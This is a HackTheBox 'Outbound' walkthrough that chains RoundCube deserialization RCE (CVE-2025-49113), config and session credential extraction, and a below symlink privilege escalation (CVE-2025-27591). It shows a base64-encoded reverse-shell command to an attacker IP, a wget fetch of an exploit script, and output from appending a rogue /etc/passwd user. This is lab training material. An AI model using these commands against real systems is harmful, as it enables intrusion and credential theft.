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HTB: Outbound
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HTB: Outbound

·1599 words·8 mins
Table of Contents

Introduction
#

An easy linux box starting with a RoundCube instance and set of credentials. There is a deserialization vulnerability that provides remote code execution and easy path to get a shell. From there I can get another user’s password from the RoundCube database. To get to root I can abuse a CVE in below to make passwd writable.

Assumed breach:

As is common in real life pentests, you will start the Planning box with credentials for the following account: tyler / LhKL1o9Nm3X2

Recon
#

nmap
#

nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):

sudo nmap -sC -sV -oA nmap_scan/nmap_results 10.129.163.165
  • -sC for defaults scripts
  • -sV enumerate version
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The webserver is redirecting traffic to mail.outbound.htb.

Add it to /etc/hosts and continue with enumeration.

10.129.163.165  mail.outbound.htb

Website - TCP 80
#

The website is an instance of RoundCube (version 1.6.10)

Website

The provided credentials work to log in:

Website

Shell as www-data
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Since the 1.6.11 version release mentions security fix Fix Post-Auth RCE via PHP Object Deserialization the version on the box should still be vulnerable.

And there is CVE-2025-49133:

I can use that to get a shell:

php CVE-2025-49113-exploit/CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 'printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Mi80NDQ0IDA+JjE= | base64 -d | bash'

The command contains base64 encoded bash -i >& /dev/tcp/10.10.14.42/4444 0>&1.

On my listener I get a shell as www-data.

Config
#

The RoundCube instance is in /var/www/html/roundcube

I can take a look at config at /var/www/html/roundcube/config that contains the database connection information:

└─$ cat config.inc.php

<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

The connection string: 'mysql://roundcube:RCDBPass2025@localhost/roundcube' contains username, password and the database.

I can connect to it and enumerate the contents:

Daabases:

www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 -e 'show databases;'
Database
information_schema
roundcube

Tables:

www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 -e 'use roundcube; show tables;'
Tables_in_roundcube
cache
cache_index
cache_messages
cache_shared
cache_thread
collected_addresses
contactgroupmembers
contactgroups
contacts
dictionary
filestore
identities
responses
searches
session
system
users

Users:

www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 -e 'use roundcube; select * from users;'
user_id username        mail_host       created last_login      failed_login    failed_login_counter    language        preferences
1       jacob   localhost       2025-06-07 13:55:18     2025-06-11 07:52:49     2025-06-11 07:51:32     1       en_US   a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}
2       mel     localhost       2025-06-08 12:04:51     2025-06-08 13:29:05     NULL    NULL    en_US   a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}
3       tyler   localhost       2025-06-08 13:28:55     2025-07-18 06:50:55     2025-06-11 07:51:22     1       en_US   a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";}

Sessions:

www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 -e 'use roundcube; select * from session;'
sess_id changed ip      vars
6a5ktqih5uca6lj8vrmgh9v0oh      2025-06-08 15:46:40     172.17.0.1      bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7

RoundCube stores an encrypted copy of the logged in user’s credentials in the session table so that it can maintain the connection to the mail server.

Password from session
#

When I base64 decode the string from session table I get this:

language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";

Most important part being:

username|s:5:"jacob"
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW"
request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"

and $config['des_key'] = 'rcmail-!24ByteDESkey*Str'; from config file

To get the password I found this forum post Or you can do it entirely in Cyberchef

Later I found RoundCube has decrypt.sh in bin that will handle it all.
www-data@mail:/var/www/html/roundcube$ ./bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

RoundCube as jacob
#

The password I got from previous step does not work for any user on SSH, but I can su jacob (or log in as jacob to the RoundCube).

In /home/jacob/mail/INBOX/jacob there are two emails:

└─$ cat jacob
From tyler@outbound.htb  Sat Jun 07 14:00:58 2025
Return-Path: <tyler@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1000)
        id B32C410248D; Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
To: jacob@outbound.htb
Subject: Important Update
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250607140058.B32C410248D@outbound.htb>
Date: Sat,  7 Jun 2025 14:00:58 +0000 (UTC)
From: tyler@outbound.htb
X-IMAPbase: 1749304753 0000000002
X-UID: 1
Status: 
X-Keywords:                                                                       
Content-Length: 233

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

From mel@outbound.htb  Sun Jun 08 12:09:45 2025
Return-Path: <mel@outbound.htb>
X-Original-To: jacob
Delivered-To: jacob@outbound.htb
Received: by outbound.htb (Postfix, from userid 1002)
        id 1487E22C; Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
To: jacob@outbound.htb
Subject: Unexpected Resource Consumption
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20250608120945.1487E22C@outbound.htb>
Date: Sun,  8 Jun 2025 12:09:45 +0000 (UTC)
From: mel@outbound.htb
X-UID: 2
Status: 
X-Keywords:                                                                       
Content-Length: 261

We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the the logs.
Please inform us immediately if you notice any irregularities.

Thanks!

Mel

Inside there is a new password: gY4Wr3a1evp4

This can be used to SSH in a jacob

ssh jacob@10.129.163.165

Root
#

Jacob can run sudo with the below command:

jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
jacob@outbound:~$ sudo /usr/bin/below -h
Usage: below [OPTIONS] [COMMAND]

Commands:
  live      Display live system data (interactive) (default)
  record    Record local system data (daemon mode)
  replay    Replay historical data (interactive)
  debug     Debugging facilities (for development use)
  dump      Dump historical data into parseable text format
  snapshot  Create a historical snapshot file for a given time range
  help      Print this message or the help of the given subcommand(s)

Options:
      --config <CONFIG>  [default: /etc/below/below.conf]
  -d, --debug            
  -h, --help             Print help

CVE-2025-27591
#

Below is an interactive tool to view and record historical system data.

Searching for some exploit, the CVE-2025-27591 appears.

A privilege escalation vulnerability existed in the Below service prior to v0.9.0 due to the creation of a world-writable directory at /var/log/below. This could have allowed local unprivileged users to escalate to root privileges through symlink attacks that manipulate files such as /etc/shadow.

I also found PoC I can use to get root on this box:

  1. Start http server in the directory with the exploit:
python3 -m http.server 80
  1. From jacob get the file:
jacob@outbound:~$ wget http://10.10.14.28/exploit.py
--2025-11-20 09:56:15--  http://10.10.14.28/exploit.py
Connecting to 10.10.14.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3255 (3.2K) [text/x-python]
Saving to: ‘exploit.py’

exploit.py                       100%[==========================================================>]   3.18K  --.-KB/s    in 0.001s  

2025-11-20 09:56:15 (2.16 MB/s) - ‘exploit.py’ saved [3255/3255]

jacob@outbound:~$ ls
exploit.py  user.txt
  1. Run it and get the root:
jacob@outbound:~$ python3 exploit.py 
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Nov 20 09:57:04.648 DEBG Starting up!
Nov 20 09:57:04.648 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01763596800: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Appending payload into /etc/passwd via symlink...
[+] Payload appended successfully.
[*] Attempting to switch to root shell via 'su attacker'...
root@outbound:/home/jacob# whoami
root

Now grab the flag and it is done.

Author
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